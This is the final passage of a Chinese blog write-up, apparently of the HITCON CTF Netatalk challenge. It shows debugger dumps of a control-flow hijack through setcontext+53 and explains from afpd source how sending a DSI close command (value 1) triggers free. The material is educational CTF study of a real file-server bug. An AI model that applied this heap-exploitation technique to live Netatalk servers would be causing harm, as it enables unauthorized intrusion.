01:0008│ rax  0x7f2405a744b0 (__vdso_clock_gettime) —▸ 0x7f2405702a1f (fgetpos64+207) ◂— mov    rdi, rax
... ↓
05:0028│      0x7f2405a744d0 (__libgcc_s_resume) —▸ 0x7f24056d60a5 (setcontext+53) ◂— mov    rsp, qword ptr [rdi + 0xa0]
06:0030│      0x7f2405a744d8 (__gconv_alias_db) ◂— 0x0
07:0038│      0x7f2405a744e0 (__gconv_lock) ◂— 0x1
pwndbg>

在mov rdi,rax;call qword ptr [rax + 0x20]这句执行之后，我们就跳到了setcontext+53这个地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
RAX  0x7f2405a744b0 (__vdso_clock_gettime) —▸ 0x7f2405702a1f (fgetpos64+207) ◂— mov    rdi, rax
 RBX  0x2e
 RCX  0x5587125e7010 ◂— 0x1000700000200
 RDX  0x2e
 RDI  0x7f2405a744b0 (__vdso_clock_gettime) —▸ 0x7f2405702a1f (fgetpos64+207) ◂— mov    rdi, rax
 RSI  0x7f24057b84af (__vasprintf_chk+351) ◂— mov    rax, qword ptr [r12]
 R8   0x0
 R9   0x1
 R10  0x0
 R11  0x5587122042c2 ◂— and    byte ptr [rbx + 0x42], cl /* ' KB written' */
 R12  0x558712610e20 ◂— 0x7461747320504641 ('AFP stat')
 R13  0x2f
 R14  0x558712610e20 ◂— 0x7461747320504641 ('AFP stat')
 R15  0x1
 RBP  0x2e
 RSP  0x7fffe7533fb8 —▸ 0x7f2405702a25 (fgetpos64+213) ◂— xor    esi, esi
 RIP  0x7f24056d60a5 (setcontext+53) ◂— mov    rsp, qword ptr [rdi + 0xa0]
─────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
 ► 0x7f24056d60a5 <setcontext+53>    mov    rsp, qword ptr [rdi + 0xa0] <0x7f2405a74550>
   0x7f24056d60ac <setcontext+60>    mov    rbx, qword ptr [rdi + 0x80]

这样就实现了控制程序执行流的效果，又学到了

触发free函数

触发free函数其实挺容易的，程序的代码中很多地方都用到了free函数，我们可以看这根据cmd进行不同操作的代码段：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
dsi->flags |= DSI_DATA;
 dsi->tickle = 0;

 switch(cmd) {

 case DSIFUNC_CLOSE:
     LOG(log_debug, logtype_afpd, "DSI: close session request");
     afp_dsi_close(obj);
     LOG(log_note, logtype_afpd, "done");
     exit(0);

 case DSIFUNC_TICKLE:
     dsi->flags &= ~DSI_DATA; /* thats no data in the sense we use it in alarm_handler */
     LOG(log_debug, logtype_afpd, "DSI: client tickle");
     /* timer is not every 30 seconds anymore, so we don't get killed on the client side. */
     if ((dsi->flags & DSI_DIE))
         dsi_tickle(dsi);
     break;

 case DSIFUNC_CMD:

可以看到有一个DSIFUNC_CLOSE,有close的话，可能就会存在释放资源的操作，所以可以跟进去看看：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
static void afp_dsi_close(AFPObj *obj)
{
    DSI *dsi = obj->dsi;
    sigset_t sigs;
    
    close(obj->ipc_fd);
    obj->ipc_fd = -1;

    /* we may have been called from a signal handler caught when afpd was running
     * as uid 0, that's the wrong user for volume's prexec_close scripts if any,
     * restore our login user
     */
    if (geteuid() != obj->uid) {
        if (seteuid( obj->uid ) < 0) {
            LOG(log_error, logtype_afpd, "can't seteuid(%u) back %s: uid: %u, euid: %u", 
                obj->uid, strerror(errno), getuid(), geteuid());
            exit(EXITERR_SYS);
        }
    }

    close_all_vol(obj);
    if (obj->logout) {
        /* Block sigs, PAM/systemd/whoever might send us a SIG??? in (*obj->logout)() -> pam_close_session() */
        sigfillset(&sigs);
        pthread_sigmask(SIG_BLOCK, &sigs, NULL);
        (*obj->logout)();
    }

    LOG(log_note, logtype_afpd, "AFP statistics: %.2f KB read, %.2f KB written",
        dsi->read_count/1024.0, dsi->write_count/1024.0);
    log_dircache_stat();

    dsi_close(dsi);
}

最后有一个dsi_close(dsi)：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

void dsi_close(DSI *dsi)
{
  /* server generated. need to set all the fields. */
  if (!(dsi->flags & DSI_SLEEPING) && !(dsi->flags & DSI_DISCONNECTED)) {
      dsi->header.dsi_flags = DSIFL_REQUEST;
      dsi->header.dsi_command = DSIFUNC_CLOSE;
      dsi->header.dsi_requestID = htons(dsi_serverID(dsi));
      dsi->header.dsi_data.dsi_code = dsi->header.dsi_reserved = htonl(0);
      dsi->cmdlen = 0; 
      dsi_send(dsi);
      dsi->proto_close(dsi);
  }
  free(dsi);
}

这里就有一个free了,所以我们只要把我们后续发过去的dsi->header的dsi_command设置为1就好：

1
2
/* DSI Commands */
#define DSIFUNC_CLOSE   1       /* DSICloseSession */

实际在 LOG(log_note, logtype_afpd, "AFP statistics: %.2f KB read, %.2f KB written", dsi->read_count/1024.0, dsi->write_count/1024.0);这一句已经触发了free：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 ► 0x7f240571b950 <free>       push   r15
   0x7f240571b952 <free+2>     push   r14
   0x7f240571b954 <free+4>     push   r13
   0x7f240571b956 <free+6>     push   r12
   0x7f240571b958 <free+8>     mov    r12, rdi
   0x7f240571b95b <free+11>    push   rbp
   0x7f240571b95c <free+12>    push   rbx
   0x7f240571b95d <free+13>    sub    rsp, 0x38
   0x7f240571b961 <free+17>    mov    rax, qword ptr fs:[0x28]
   0x7f240571b96a <free+26>    mov    qword ptr [rsp + 0x28], rax
   0x7f240571b96f <free+31>    xor    eax, eax
──────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────
00:0000│ rsp  0x7fffe7534038 —▸ 0x7f24057b84af (__vasprintf_chk+351) ◂— mov    rax, qword ptr [r12]
01:0008│      0x7fffe7534040 ◂— 0x20202000fbad8000
02:0010│      0x7fffe7534048 —▸ 0x558712610e20 ◂— 0x7461747320504641 ('AFP stat')
... ↓
06:0030│      0x7fffe7534068 —▸ 0x558712610e4e ◂— 0x0
07:0038│      0x7fffe7534070 —▸ 0x558712610e84 ◂— 0x10100000000
────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────
 ► f 0     7f240571b950 free
   f 1     7f24057b84af __vasprintf_chk+351
   f 2     7f2405ed55f9 make_log_entry+713
   f 3     7f2405ed55f9 make_log_entry+713
   f 4     5587121df03f afp_dsi_close+223
   f 5     5587121e0499 afp_over_dsi+1545

至此就结束了，还是学到了蛮多东西的

参考链接:

https://xz.aliyun.com/t/3710

https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#netatalk

https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172

扫一扫，分享到微信

微信分享二维码

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

beginner